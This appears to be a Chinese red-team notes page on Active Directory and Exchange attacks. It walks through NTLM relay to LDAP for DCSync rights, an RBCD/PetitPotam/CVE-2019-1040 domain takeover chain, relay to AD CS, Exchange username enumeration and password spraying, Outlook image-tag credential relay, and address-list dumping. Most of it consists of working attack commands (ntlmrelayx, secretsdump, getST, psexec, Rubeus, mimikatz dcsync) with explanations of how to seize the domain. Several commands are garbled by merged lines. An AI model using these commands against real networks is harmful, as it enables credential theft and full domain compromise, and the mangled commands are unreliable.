默认情况下,客户端是SMB协议,就默认要求LDAP服务器对NTLM认证请求强制签名,未签名的消息会被LDAP服务器忽略。如果是WebDAV或HTTP,就不要求签名

Write Dcsync ACL

如果发起NTLM认证请求的用户是位于Enterprise Admins或Domain Admins族中的特权用户,就可以将其NTLM请求中继到LDAP,并在域中创建一个拥有DCSync权限的用户

执行以下命令,在恶意服务器上启动ntlmrelayx.py监听

1
2
python ntlmrelayx.py -t ldap://192.168.52.138 --no-dump
# -t,指定NTLM Relay的目标地址,这里为启用了LDAPS的域控地址

通过前文介绍的方法,诱使域管理员向恶意服务器发起NTLM验证

攻击过程顺利的话,能利用LDAP服务新建一个域用户账号,拥有DCSync操作权限

发起DCSync攻击

1
python secretsdump.py god.com/ user1:123456@192.168.52.138 -just-dc-user "god\administrator"

利用user1用户导出域内用户哈希值

对于未启用SSL/TLS的LDAP,可以通过–escalate-user选项将现有用户提升为拥有DCSync操作权限的用户。发起NTLM请求的用户必须拥有对域的WriteDACL权限。通常情况下,Exchange服务器的权限很高,其机器账户默认拥有WriteDACL权限

RBCD+petitpotam+CVE-2019-1040接管全域

利用PetitPotam,可以指定域内的一台服务器,并使其对攻击者选择的目标进行身份验证。

而且在低版本(08和12)的情况下,可以匿名触发,不需要域用户。在16版本以上,就需要指定一个普通域用户账号和密码了

**复现: **

网文,本地域控是server08,复现不成功。

img

**1、**添加计算机账户

1
python3 addcomputer.py -method SAMR -dc-ip 192.168.164.146 -computer-name rbcd1 -computer-pass 123456 "test.com/user1:Uu1234."

**2、**开启中继

1
python3 ntlmrelayx.py -t ldap://192.168.164.146 -debug --delegate-access --escalate-user rbcd1\$ -smb2support --remove-mic

3、触发PetitPotam

1
python3 Petitpotam.py 192.168.164.128 192.168.164.147 

(这里是server2012,不需要指定用户名密码)

PS 如果是server2016以上,触发方式为:

1
python PetitPotam.py -u user1 -p Uu1234. -d test.com 192.168.164.128 192.168.164.147

4、获取票据
这里我重新搭建了域环境,所以机器名变了

1
python3 getST.py -dc-ip 192.168.164.146 test/rbcd1\$:123456 -spn cifs/father2.test.com -impersonate administrator

5、 加载票据使用

1
export KRB5CCNAME=administrator.ccachepsexec.py -no-pass -k -dc-ip 192.168.164.147 father2.test.com

1
secretsdump.py -no-pass -k -dc-ip 192.168.164.147 father2.test.com -just-dc-user test/krbtgt

原理分析

阶段 A:诱导认证 (PetitPotam)

  • 原理:PetitPotam 利用了 MS-EFSR(加密文件系统远程协议)中的 EfsRpcOpenFileRaw 接口。这个接口允许一个机器指示另一台机器尝试连接到一个路径。
  • 作用:你让 域控 (192.168.164.147) 主动通过 SMB 协议向你的 攻击机 (192.168.164.128) 发起认证。
  • 关键点:在低版本中这是匿名的,这意味着你不需要任何凭据就能让 DC 乖乖把它的机器账户凭据发给你。

阶段 B:绕过签名检测 (CVE-2019-1040)

  • 原理:原本 NTLM 认证包中有一个 MIC(消息完整性检查) 字段,用来防止认证包被篡改。CVE-2019-1040 漏洞允许攻击者在重放时修改 NTLM 标志位(例如取消“必需签名”的标记)并删除 MIC,而接收方(LDAP 服务器)却不会报错。
  • 作用:你的 ntlmrelayx.py 使用了 --remove-mic 参数。这使得攻击者可以将原本强制要求签名的 SMB 认证,成功中继到对安全性有一定要求但存在缺陷的 LDAP 服务上。

阶段 C:资源委派攻击 (RBCD)

这是你利用的核心。

  • 原理:在 Active Directory 中,有一种委派方式叫“基于资源的限制性委派(RBCD)”。它允许一台计算机(机器 A)自己决定谁可以委派给它,而不需要域管干预。
  • 动作
    1. 你先手动添加了一个计算机账号 rbcd1$
    2. ntlmrelayx 将中继过来的 DC 权限,用来修改 DC 自身的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性。
    3. 结果:你把 rbcd1$ 写入了这个属性。现在,DC 认为 rbcd1$ 是一个被信任的、可以代表任何用户(包括 Administrator)访问 DC 服务的账号。

阶段 D:票据伪造与接管 (S4U2Self / S4U2Proxy)

  • 原理:利用 rbcd1$ 的凭据,使用 getST.py。这个工具会触发 Kerberos 协议扩展:
    • S4U2Self:代表 Administrator 向自己申请一个票据。
    • S4U2Proxy:用上一步的票据,代表 Administrator 向 DC 申请一个访问 cifs(文件共享)服务的服务票据(ST)。
  • 最后利用:有了 administrator 的票据,你就可以通过 psexec 获得 DC 的 Shell,或者用 secretsdump 导出整个域的 krbtgt 哈希。

命令拆解

第一步:创建受控身份

命令: python3 addcomputer.py -method SAMR ... -computer-name rbcd1 -computer-pass 123456 ...

  • 原理分析: 在域环境中,默认情况下任何一个普通域用户都有权限将最多 10台 计算机加入域(由 ms-DS-MachineAccountQuota 属性决定)。
  • 为什么要这么做? 后续的 RBCD(资源委派)攻击需要一个**拥有服务主体名称(SPN)**的账户作为“受托人”。普通用户没有 SPN,但计算机账户(以 $ 结尾)在创建时会自动生成 SPN。这一步是在域内建立一个由攻击者完全控制的“内应”账号。

第二步:配置中继引擎

命令: python3 ntlmrelayx.py -t ldap://DC_IP --delegate-access --escalate-user rbcd1$ --remove-mic

  • 原理分析: 这是攻击的中枢。它开启了一个伪造的服务器,等待别人来认证。
    • ldap://:我们将认证中继到 LDAP 协议,因为 LDAP 可以用来修改域数据库。
    • --remove-mic (核心/CVE-2019-1040):正常 NTLM 认证有 MIC(消息完整性检查)防止篡改。这个漏洞让我们能强行剔除这个校验,从而在转发过程中修改 NTLM 标志位,欺骗 LDAP 服务器接受不需要签名的连接。
    • --delegate-access:告诉工具,一旦中继成功,立刻执行 RBCD 攻击。
    • --escalate-user rbcd1$:具体操作是将第一步创建的 rbcd1$ 写入目标(域控)的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性中。

第三步:强制诱导认证

命令: python3 Petitpotam.py 攻击IP 域控IP

  • 原理分析: 这是“点火”步骤。PetitPotam 利用了 MS-EFSR 协议的漏洞,强制域控(DC)的机器账户向攻击者指定的 IP 发起 NTLM 认证。
  • 攻击效果: DC 被欺骗,认为它需要访问攻击者的“文件共享”。于是,DC 会把自己的机器账户(如 DC$)的凭据发给攻击者的 ntlmrelayx
  • 注意点:在 Server 2012/08 中不需要密码即可触发,这让攻击门槛降到了最低。

第四步:伪造管理员票据

命令: python3 getST.py -dc-ip DC_IP test/rbcd1$:123456 -spn cifs/DC_Name -impersonate administrator

  • 原理分析: 此时,第二步已经成功。域控的属性里写着:“我信任 rbcd1$,它提的要求我都答应”。
    • Kerberos 扩展协议 (S4U)getST 利用了 S4U2selfS4U2proxy 两个扩展。
    • 操作逻辑rbcd1$ 拿着它在域控那里的“特权卡”,向 KDC(密钥分发中心)谎称:“我是受 Administrator 委托,来申请访问你这台机器 cifs 服务的票据的。”
  • 结果:你获得了一个属于 Administrator服务票据(Service Ticket),存储为 .ccache 文件。

第五步:完全接管

命令: psexec.py -no-pass -k ...secretsdump.py -no-pass -k ...

  • 原理分析: 这一步是最终的“收割”。
    • -k:告诉工具使用 Kerberos 协议进行认证,而不是 NTLM。
    • -no-pass:因为你已经有了第四步生成的 .ccache 票据,不需要知道管理员的真实密码。
  • 攻击效果psexec 会利用票据直接获取 DC 的系统权限。secretsdump 则会直接从 DC 内存和数据库中提取出所有域用户的哈希(包括 krbtgt),此时你已经掌握了整个森林的命脉。

中继至AD CS利用

AD CS提供的数字证书可用于对电子文档和消息进行加密和数字签名

AD CS的证书颁发机构Web注册(Web接口),支持NTLM身份验证,并且不支持签名保护

利用思路:

  1. 利用PrintBug或PetitPotam,迫使域控制器使用机器账户发起NTLM认证请求
  2. 将NTLM请求中继到AD CS的证书颁发机构Web注册接口,通过验证获得域控机器账户的身份
  3. 利用证书模板为域控机器账户申请证书
  4. 利用申请到的证书申请用于Kerberos认证的高权限票据,从而获取域控制器的权限

在恶意服务器上启动ntlmrelayx.py监听

1
2
python ntlmrelay.py -t http://AD CS服务器ip/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
# --adcs,启动AD CS Relay攻击;--template,指定AD CS证书模板

执行以下命令,通过PetitPotam迫使域控制器向恶意服务器发起NTLM认证请求

1
python PetitiPotam.py -d god.com -u user -p passwd 攻击机IP 域控制器ip

此时,ntlmrelayx.py将截获域控机器账户(DC-1$)的Net-NTLM Hash,并将其中继到AD CS服务的Web接口进行认证,之后将为DC-1$账户生成Base64格式的证书

获得的证书可以通过Rubeus请求TGT票据。在域中普通用户的机器上执行以下命令,申请域控机器账户的TGT票据,并将票证缓存到当前会话中

1
Rubeus.exe askygy /user:DC-1$ /certificate:<Base64 Certificate> /ptt

持有域控机器账户的票据可以执行一些特权操作,如通过DCSync转存域用户哈希值

1
mimikatz.exe "lsdump::dcsync /domain:god.com /user:god\administrator" exit

防御思路

  • 禁用AD CS证书申请Web接口

Exchange攻击专题

https://github.com/ffffffff0x/1earn/blob/master/1earn/Security/RedTeam/%E5%90%8E%E6%B8%97%E9%80%8F/%E5%AE%9E%E9%AA%8C/Exchange.md

前面提到Exchange服务器一般有公网ip,这会让攻击者比较容易入手攻击

Exchange服务发现和信息收集

版本识别

  1. 在登录界面查看网页源代码:

    其中 15.1.2106.2 就是当前 exchange 的版本,在 Mircosoft 网站上根据版本号就可以直接查询:

  2. 请求 /owa、/owa/service 等路径,在返回头 X-OWA-Version: 中查看完整的内部版本号,比如 15.1.2375.7

  3. 直接访问 /ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application,下载下来的 xml 文档中会包含完整的内部版本号

相关工具


域内定位 Exchange 服务器

ldap 定位

在域内可以使用 ldap 定位, 过滤规则

1
"(objectCategory=msExchExchangeServer)"

spn 定位

通过 spn 来定位,windows 自带 setspn。

1
2
3
4
5
setspn -q */*

setspn -Q IMAP/*

setspn -Q exchange*/*

端口扫描

1
nmap -A -O -sV -Pn ip

Exchange会默认开放邮件服务需要的端口和HTTP服务,可以利用端口扫描识别指纹信息

通过 DNS 查询定位

1
nslookup.exe -type=srv _autodiscover._tcp

信息泄露

IP

  • 访问以下接口,HTTP 协议版本修改成 1.0,去掉 http 头里面的 HOST 参数,服务器会返回其ip地址,往往是其内网ip

    1
    2
    3
    4
    5
    /OWA
    /Autodiscover
    /Exchange
    /ecp
    /aspnet_client
  • msf

    1
    2
    use auxiliary/scanner/http/owa_iis_internal_ip
    # 脚本里面限定了内网IP范围,如果企业是自定义的内网IP,可能无法获取到IP,https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/http/owa_iis_internal_ip.rb#L79
  • nmap

    原理是客户端发起NTLM认证请求时,服务器会在type2的返回包携带服务器的基础信息,解开可以获取

    这里使用nmap的NTLM信息收集脚本

    1
    nmap x.x.x.x -p 443 --script http-ntlm-info --script-args http-ntlm-info.root=/rpc/rpcproxy.dll
  • python

Exchange凭证获取

常规爆破

通常情况下,Exchange 系统是不对邮箱登录次数做限制,利用大字典来进行爆破,是最为常见的突破方法。

Exchange 邮箱的登录账号分为三种形式, 分别为 “domain\username”、“username” 和“user@domain(邮件地址)”, 这三种方式可以并存使用, 也可以限制具体一种或两种使用。

具体使用哪一种用户名登录可以根据登录口的提示确定, 但这并不百分百准确, 管理员通过修改配置或者登录页面, 可以自行设置登录方式, 和提示说明。因此如果直接使用 owa 页面爆破, 用户名需要尝试全部三种方式。

爆破方式使用 burp 即可, 通过返回包长短即可判断成功与否。

对于某些限制登录次数的网站, 还可以尝试对其 NTLM 验证接口进行爆破, 最常见的就是 ews 接口, 但除此之外,还有以下接口地址。

  • HTTP 直接认证

    1
    2
    /ecp            # Exchange 管理中心,管理员用于管理组织中的Exchange 的Web控制台
    /owa # Exchange owa 接口,用于通过web应用程序访问邮件、日历、任务和联系人等
  • HTTP NTLM 认证

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    /Autodiscover/Autodiscover.xml  # 自 Exchange Server 2007 开始推出的一项自动服务,用于自动配置用户在Outlook中邮箱的相关设置,简化用户登录使用邮箱的流程。
    /Microsoft-Server-ActiveSync/default.eas
    /Microsoft-Server-ActiveSync # 用于移动应用程序访问电子邮件
    /Autodiscover
    /Rpc/ # 早期的 Outlook 还使用称为 Outlook Anywhere 的 RPC 交互
    /EWS/Exchange.asmx
    /EWS/Services.wsdl
    /EWS/ # Exchange Web Service,实现客户端与服务端之间基于HTTP的SOAP交互
    /OAB/ # 用于为Outlook客户端提供地址簿的副本,减轻 Exchange 的负担
    /Mapi # Outlook连接 Exchange 的默认方式,在2013和2013之后开始使用,2010 sp2同样支持
    /powershell # 用于服务器管理的 Exchange 管理控制台

    由于这些接口支持 NTLM 认证,因此也能 pth 域用户账户。甚至,/rpc 接口的 [MS-OXNSPI] 协议还能 pth 域机器账户。

爆破邮箱账户步骤,首先确定目标 AD 域名,再爆破用户名,最后爆破密码。值得一提的是,不是每个域用户都有邮箱账户,邮箱账户需要 Exchange 管理员手动给域用户添加。如果密码爆破成功后出现 未找到 ISLAND\domain_admin 的邮箱 的提示,则说明该账户未开通邮箱,但这个账户也是有效的域用户账户。

可以利用以下工具进行爆破

  • APT34 Exchange 爆破工具

  • grayddq/EBurst - 这个脚本主要提供对 Exchange 邮件服务器的账户爆破功能,集成了现有主流接口的爆破方式。

  • sensepost/ruler

    - 爆破 Exchange

    1
    ./ruler --domain https://targetdomain.com/autodiscover/autodiscover.xml -k brute --users /path/to/user.txt --passwords /path/to/passwords.txt -v --threads 5 --delay 0

获取 AD 域名

在 Windows 进行 NTLM 认证时,无论输入的凭证是否正确,返回的 ntlmssp 包中都会带上大量系统相关信息:包括 NetBIOS 域名、NetBIOS 机器名、DNS 域名、DNS 机器名等。攻击者需要从 HTTP NTLM 认证的接口泄露 AD 域名,来配合接下来的用户名爆破。

1
2
3
4
5
6
# 指定要访问的接口,解析返回的 ntlmssp 包
nmap --script http-ntlm-info --script-args http-ntlm-info.root=/ews -p 443 192.168.123.123
nmap --script http-ntlm-info --script-args http-ntlm-info.root=/Autodiscover -p 443 192.168.123.123

# MailSniper.ps1,仅支持 /Autodiscover /ews 两个接口
Invoke-DomainHarvestOWA -ExchHostname 192.168.123.123

用户名爆破

Exchange 存在基于时间的用户名枚举问题,Exchange 2016 版本的表现为:爆破到真实存在的域用户(无论是否开通邮箱账户)时,其响应开始接收时间会更短(不是完整响应时间)。

经过传统的邮箱收集加上一定的高频用户名形成用户名字典后,需要为字典设置三种格式:domain\username、username、user@domain。Exchange 管理员可以任意配置使用一种或多种格式,因此爆破的时候最好带上所有格式。

  • Burp 爆破

    在没有验证码或者可以绕过的情况下,用 burp 爆破 /ecp、/owa 接口,在爆破结果中选择 Intruder -> Columns -> Response received,查看响应开始接收时间更短的用户名,即存在的域用户。

  • 脚本爆破

    1
    2
    3
    4
    # MailSniper.ps1
    # 支持 /owa、/Microsoft-Server-ActiveSync
    Invoke-UsernameHarvestEAS -ExchHostname 192.168.123.123 -Domain island.com -UserList username.txt -Threads 1 -OutFile owa-valid-users.txt
    Invoke-UsernameHarvestOWA -ExchHostname 192.168.123.123 -Domain island.com -UserList username.txt -Threads 1 -OutFile owa-valid-users.txt
  • SMTP

    通过 SMTP 协议枚举:邮箱存在会返回 250,不存在返回 500。但如果目标邮服配置了 Catch-all 邮箱,则所有发往目标邮服的无效邮箱都会被 Catch-all 邮箱接收,即无论邮箱是否存在都会返回 250。

密码喷洒

在获得 AD 域名和存在的用户名后,可以通过多个接口爆破 Exchange。

  • Burp 爆破

    在没有验证码或者可以绕过的情况下,用 burp 爆破 /ecp/owa 接口。

  • 脚本爆破

    1
    2
    3
    4
    5
    6
    7
    8
    9
    # EBurst 最推荐
    # EBurst 支持所有接口爆破,-C 检查目标开放的接口,再指定存活接口爆破。建议 /ews 或默认
    python2 EBurst.py -d 192.168.123.123 -L username.txt -p 123456 -T 10
    python2 EBurst.py -d 192.168.123.123 -C

    # MailSniper.ps1 仅支持 /OWA /EWS /Microsoft-Server-ActiveSync 接口,推荐 /ews
    Invoke-PasswordSprayEWS -ExchHostname 192.168.123.123 -UserList .\username.txt -Password ZS@123qwe -Threads 10 -OutFile owa-sprayed-creds.txt
    Invoke-PasswordSprayOWA -ExchHostname 192.168.123.123 -UserList .\username.txt -Password ZS@123qwe -Threads 10 -OutFile owa-sprayed-creds.txt
    Invoke-PasswordSprayEAS -ExchHostname 192.168.123.123 -UserList .\username.txt -Password ZS@123qwe -Threads 10 -OutFile owa-sprayed-creds.txt

Password Spray

Exchange服务限制用户登录次数,可以利用Password Spray思路进行破解

Password Spray是指采用一些少量常见的密码,针对大量用户进行暴力破解,以绕过对同一用户的登录次数限制

简单说就是小密码字典,大用户字典

同样利用Eburst工具进行爆破即可

域中NTLM-Relay攻击Outlook客户端进行权限提升

前置准备

在内网具备一个基础用户(机器)的账户权限时,可以通过NTLM-Relay方式对特定具备高权限的邮箱用户进行攻击

这里选择攻击domain admins组的administrator用户,并relay到LDAP服务,给test用户添加DCSync权限。执行此攻击,需要具备以下条件

  • 拥有内网普通账号及凭据
  • 内网具备应该可以作为中继的主机权限,需要内网中可以通LDAP服务的代理服务器
  • 目标使用Outlook接收邮件。(Outlook会自动渲染邮件源的HTML内容,导致知道用户查看邮件就会触发HTTP请求)

Windows会在什么情况下携带本机登录凭据

  • 通过UNC进行访问,但是445是非常高危的端口。许多运营商选择将该端口封锁

  • 基于HTTP的默认凭据携带,查看IE的安全设置,默认访问内网域的HTTP服务时会自动登录。Intranet域包括My Computer,Local Intranet Zone,Trusted Site Zone。因为中继攻击需要Windows主机发起请求到测试人员的中继服务器上,所以Windows主机的本地信任对中继攻击并没有帮助,只需关注Trusted Site Zone(受信任的站点)即可

  • AD域的子域名包含在受信任的站点中,所以客户端访问子域下的HTTP服务时,会默认携带本地凭据(Chrome,Firefox等浏览器不依赖IE的安全设置,所以通用浏览器不能使用该技巧自动携带凭据)

判断是否处于Intranet域的方法:

通过非完整的FQDN信息就能访问到对应服务,一般处于Intranet域中

这方法触及了 Windows 域环境中一个非常核心且方便的机制:DNS 后缀自动搜索(DNS Suffix Search)

在解释这句话之前,我们先明确两个概念:

  • FQDN (Full Qualified Domain Name):全限定域名。例如 webserver01.prod.corp.com.,它包含了从主机名到根域的完整路径,在互联网上具有唯一性。
  • 非完整 FQDN (Short Name/Hostname):仅包含主机名。例如 webserver01

在 Intranet(内网)域环境中,你只需要输入 webserver01 就能访问服务,是因为系统在背后帮你完成了**“域名自动补全”**。

核心机制:DNS 后缀补全

当你加入一个域(例如 test.com)时,你的 Windows 客户端会自动配置一个主 DNS 后缀

  • 工作原理:当你尝试访问 http://portal 时,系统发现这不是一个完整的域名。
  • 自动拼接:系统会查阅自己的“DNS 后缀列表”,依次尝试拼接。例如先尝试 portal.test.com
  • 解析成功:如果内网 DNS 服务器上有 portal.test.com 的记录,它会返回 IP。对你而言,就像是直接通过 portal 这个简短的名字访问到了服务。

利用cmd检测

1
ping -nc | exchange-2012

exchange-2012就是非完整的FQDN信息,如果能收到回复,说明处于内网域

为了成功触发默认凭据的携带,攻击者不能使用完整的FQDN或者ip。当使用FQDN和ip访问http服务时,计算机会默认认定正在访问Internet域,不会默认携带本机凭据

攻击流程

  1. 利用内网权限添加一条DNS记录。借用Powermad工具,可以快速在域中添加一条DNS记录。这里使用test用户添加一条中继至A记录的指向内网代理机器(建立隧道完成攻击机端口转发的内网机器 192.168.30.128)

    1
    powershell.exe -exec bypass -c "import-module .\Powemad.ps1New-ADIDNSNode -Node relay -Type A -Data 192.168.30.128"
    • -Node relay: 指定新创建的 DNS 记录的主机名。执行后,内网中就会多出一个名为 relay.test.com(假设域名是 test.com)的解析记录。
    • -Type A: 指定记录类型为 A 记录(即主机记录),用于将域名映射到 IPv4 地址。
    • -Data 192.168.52.120: 指定解析的目标 IP。这个 IP 就是你控制的**“代理机器”**(通常运行着 ntlmrelayxResponder)。

    执行完此命令后可以执行 ping relay检测DNS记录是否添加成功

  2. 在代理服务器上配置中继脚本,利用Impacket的ntlmrelayx完成中继攻击,该脚本部署在被控制的LDAP服务器上,这里以为test用户赋予dcsync权限为目标

    1
    impacket -ntlmrelayx -t ldap://192.168.30.10 --no-dump --no-da --escalate-user test 
  3. 发送邮件触发Outlook HTTP请求,发送包含 ““源内容的邮件给高权限用户

    当用户使用Outlook打开邮件时,即使不点击也会自动触发img请求,由于我们使用的是不完整FQDN信息,会默认在内网域中,HTTP请求携带凭据到配置中继的服务器,之后为test用户设置DCSYNC权限

攻击解析

步骤一

在 Exchange 渗透或 NTLM Relay 攻击中,通过 Powermad(或类似工具)在域内添加 DNS 记录,本质上是在进行名称解析劫持(DNS Poisoning/Hijacking)

这个步骤的真正目的是:将原本合法的流量平滑地“钓”到你控制的机器上,从而截获认证凭据。

以下是详细的原理分析:

  1. 核心逻辑:制造一个“合法”的诱饵

在 Exchange 环境中,很多服务(如 Autodiscover、OWA、或是内部邮件通信)都依赖 DNS 找到服务器。

  • 常规状态:用户访问 mail.test.com -> DNS 返回真实的 Exchange 服务器 IP。
  • 你的操作:利用 test 用户(普通域用户权限默认即可),在域 DNS 区域中添加一条新的 A 记录或修改现有记录(如 autodiscover.test.com),将其指向你控制的代理机器
  1. 为什么要中继到“内网代理机器”?

这条 DNS 记录就像一个路牌,它告诉内网的所有客户端(包括 Exchange 服务器本身):“如果你想访问某个服务,请来找这台代理机器。”

当 Exchange 服务器尝试与其组件通信,或者用户尝试登录时:

  1. 触发认证:由于目标 IP 变成了你的代理机,受害者会尝试与你建立连接。

  2. 请求凭据:你的代理机(运行着 ntlmrelayxResponder)会向受害者发起 NTLM 认证请求。

  3. 捕获与中继:受害者会乖乖交出 NTLM 哈希。你的代理机收到后,通过你之前配置好的隧道,将其重放到真正的 Exchange 服务器或域控。

  4. 在 Exchange 场景下的具体应用

这个步骤通常是为了配合以下攻击:

  • Autodiscover 攻击: Exchange 客户端会自动寻找 autodiscover.域名。如果你通过 Powermad 添加了这条记录指向你的代理机,所有内网 Outlook 客户端在尝试同步邮件时,都会把用户的 NTLM 认证信息发给你。
  • 针对 Exchange 服务器本身的认证重放 (PrivExchange/PushSubscription): 某些漏洞允许你强制 Exchange 服务器(SYSTEM 权限)向指定地址发起认证。如果你的 DNS 记录能让 Exchange 认为你的机器是一个“信任的内部节点”,它会毫无戒备地发送 机器账户的 NTLM 凭据
    • 注:拿下 Exchange 的机器账户权限通常意味着可以通过 DCSync 拿下整个域。

命令各个部分的详细拆解:

1
powershell.exe -exec bypass -c "import-module .\Powemad.ps1New-ADIDNSNode -Node relay -Type A -Data 192.168.52.120"
  1. 基础环境准备部分
  • powershell.exe: 启动 PowerShell 解释器。
  • -exec bypass: 全称是 -ExecutionPolicy Bypass。这是一种绕过策略,允许执行未签名的脚本(如 .ps1 文件)。它不会更改注册表设置,仅针对当前进程有效。
  • -c: 全称是 -Command,表示后面跟着的是要执行的具体 PowerShell 指令字符串。
  1. 核心逻辑部分
  • import-module .\Powermad.ps1: 加载当前目录下的 Powermad 脚本模块。Powermad 是一个专门用于利用域内 DNS 动态更新特性的开源工具。
  • New-ADIDNSNode: 这是 Powermad 模块中的核心函数。它的作用是在活动目录集成 DNS(ADIDNS)中创建一个新的 DNS 节点
  1. 参数配置部分
  • -Node relay: 指定新创建的 DNS 记录的主机名。执行后,内网中就会多出一个名为 relay.test.com(假设域名是 test.com)的解析记录。
  • -Type A: 指定记录类型为 A 记录(即主机记录),用于将域名映射到 IPv4 地址。
  • -Data 192.168.52.120: 指定解析的目标 IP。这个 IP 就是你控制的**“代理机器”**(通常运行着 ntlmrelayxResponder)。

攻击原理深度解析:为什么要这么做?

在 Windows 域环境中,默认情况下,任何经过身份验证的用户(Authenticated Users)都有权限在 Active Directory 区域创建新的 DNS 记录

这条命令在攻击链条中起到了**“交通管制”**的作用:

  1. 合法性伪装:通过在域 DNS 上直接添加记录,比传统的 ARP 欺骗或 LLMNR 投毒更稳定。所有的域内机器(包括 Exchange、DC)都会完全信任这条来自官方 DNS 服务器的记录。
  2. 流量勾引
    • 如果你在攻击 Exchange,你可以把这个节点命名为 autodiscover
    • 当内网用户的 Outlook 尝试连接 autodiscover.test.com 时,DNS 会告诉它们:“去访问 192.168.52.120 吧!”。
  3. 捕获凭证: 受害者机器(如 Exchange 服务器或普通用户电脑)会携带其 NTLM 凭据去访问你的代理机(192.168.52.120)。你的代理机收到后,就可以将其**中继(Relay)**到真正的高权限接口(如 LDAP, AD CS 或 EWS)来获取权限。

步骤二

  1. 命令参数深度解析
  • ntlmrelayx: Impacket 工具包中的核心组件,负责接收 NTLM 认证并将其重放到目标服务。
  • -t ldap://192.168.30.10:
    • -t (Target): 指定中继的目标。
    • ldap://: 关键点!我们将认证重放到 LDAP 协议。这是因为 LDAP 允许我们通过修改活动目录对象属性来改变权限。
    • 192.168.30.10: 这通常是**域控制器(DC)**的 IP 地址。
  • --no-dump: 告诉工具在中继成功后不要尝试导出(Dump)整个域的哈希。因为我们的目标是特定提权,而不是暴力拖库。
  • --no-da: 告诉工具不要尝试直接将用户加入 Domain Admins(域管理员)组。这种操作动作太大,容易被安全软件(EDR)监控到。
  • --escalate-user test (核心指令): 这是本步骤的灵魂。它指示工具:一旦中继到具备足够权限的身份(如 DC 自身的机器账户),立即在 LDAP 中修改 test 用户的 ACL(访问控制列表)
  1. 攻击原理:DCSync 权限赋予

在 Windows 域中,导出所有用户哈希(DCSync)并不需要你是域管,只需要你的账户拥有以下两条特定的扩展权限:

  1. Replicating Directory Changes
  2. Replicating Directory Changes All

逻辑链路如下:

  1. 诱导:由于你之前做了 DNS 记录,域控(DC)或者其他高权机器尝试访问你的代理机。

  2. 拦截:代理机上的 ntlmrelayx 拦截到了 DC 的机器账户(DC$)认证。

  3. 重放ntlmrelayx 将这个 DC$ 的认证包发回给 DC 的 LDAP 服务。

  4. 提权:DC 收到请求,一看是“自己人”发来的,于是允许执行修改操作。ntlmrelayx 借此机会,在 LDAP 数据库里给 test 用户加上了上述两条 DCSync 权限。

  5. 为什么这个步骤比“加入域管组”更高级?

  • 隐蔽性极高:大多数安全审计会盯着“谁加入了域管组”,但很少有工具能实时监控“某个普通用户的 ACL 权限被微调了”。
  • 权限持久化:即便管理员清理了域管组,只要 test 用户的这些 ACL 特权还在,你随时可以执行 secretsdump 导出 krbtgt 哈希。
  • 绕过防御:如果目标开启了 LDAP 签名,但你利用了类似 CVE-2019-1040 的漏洞(添加 --remove-mic 参数),你依然可以成功中继。
  1. 成功后的下一步是什么?

一旦这条命令执行成功并提示 Successfully granted DCSync rights to test,你就不再需要中继了。你可以在内网任何一台机器上执行:

Bash

1
python3 secretsdump.py test.com/test:password@192.168.30.10 -just-dc-user krbtgt

此时,原本普通的 test 用户已经可以直接从域控拉取 krbtgt 的哈希,进而制作黄金票据(Golden Ticket),实现对全域的永久接管。

获取用户凭据后的信息收集和渗透

通过Autodiscover进行信息收集

接口https:///autodiscover/autodiscover.xml可以接收xml请求并返回XML中指定电子邮件所属邮箱配置

请求包格式

< EMailAddress>需要是Exchange中已注册的用户邮箱,但不需要与用于认证的账号对应

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /autodiscover/autodiscover.xml HTTP/1.1
Host: test.f8x.com
User-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Outlook 16.0.10730; Pro)
Authorization: Basic Q09OVE9TT1x1c2VyMDE6UEBzc3cwcmQ=
Content-Length: 341
Content-Type: text/xml

<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
<Request>
<EMailAddress>test@f8x.com</EMailAddress>
<AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
</Request>
</Autodiscover>

< AD> -> 域控地址(域控FQDN)

< server> -> Exchange RPC标识

< OABUrl>->包含Offline Address Book(OAB)文件的目录的路径

获取Exchange通讯录

全局地址列表GAL包含Exchange组织所有邮箱用户的邮件地址,只要活得Exchange组织内任意邮箱用户的凭据,就能导出其他邮箱用户的邮件地址

利用OWA直接查看

1
2
3
登录后,选择联系人->All Users。
https://x.x.x.x/owa/#path=/people
使用该目录获取通讯录列表, 可以通过 burp 修改返回邮件地址数量导出。一般不推荐

通过/EWS接口获取GAL

dafthack/MailSniper - 通过 /EWS 指定搜索条件获取 GAL,类似于爆破,很慢。

1
Get-GlobalAddressList -ExchHostname MAIL -UserName CORP\test -Password 密码 -OutFile global-address-list.txt
1
2
# MailSniper.ps1
Get-GlobalAddressList -ExchHostname 192.168.123.123 -username island.com\lisi -password LS@123qwe -OutFile global-address-list.txt

通过OAB获取GAL

请求 <OABUrl>/oab.xml 页面并列出 OAB 文件:

img

找到其中 Default Global Address List (默认全局地址列表) 对应的 lzx 文件名称,lzx 文件名称为 fd1e35ac-08ef-4e4c-a6fc-b8b88c69c7b2-data-1.lzx

访问 /OAB/OABURL/LZXURL 下载 lzx 文件

1
win-4j4l8gp7bf2.f8x.com/OAB/b6eaa1c0-d7f5-4619-ad8d-b453f967353b/fd1e35ac-08ef-4e4c-a6fc-b8b88c69c7b2-data-1.lzx

对 lzx 文件解码,还原出 Default Global Address List

1
2
3
4
wget http://x2100.icecube.wisc.edu/downloads/python/python2.6.Linux-x86_64.gcc-4.4.4/bin/oabextract
chmod +x oabextract
./oabextract fd1e35ac-08ef-4e4c-a6fc-b8b88c69c7b2-data-1.lzx gal.oab
strings gal.oab|grep SMTP

通过RPC导出

impacket - 通过 /RPC 接口配合 [MS-OXNSPI] 和 [MS-NSPI] 协议直接获取 AD 中的地址簿信息,最快。

1
2
python3 exchanger.py DOMAIN/test:密码@MAIL nspi list-tables
python3 exchanger.py DOMAIN/test:密码@MAIL nspi dump-tables -guid xxxx
1
2
3
python3 exchanger.py island.com/zhangsan@192.168.123.123 -hashes :82b6413f42426e0b40e6d0674eb16299 nspi list-tables
python3 exchanger.py island.com/zhangsan:ZS@123qwe@192.168.123.123 nspi list-tables -count
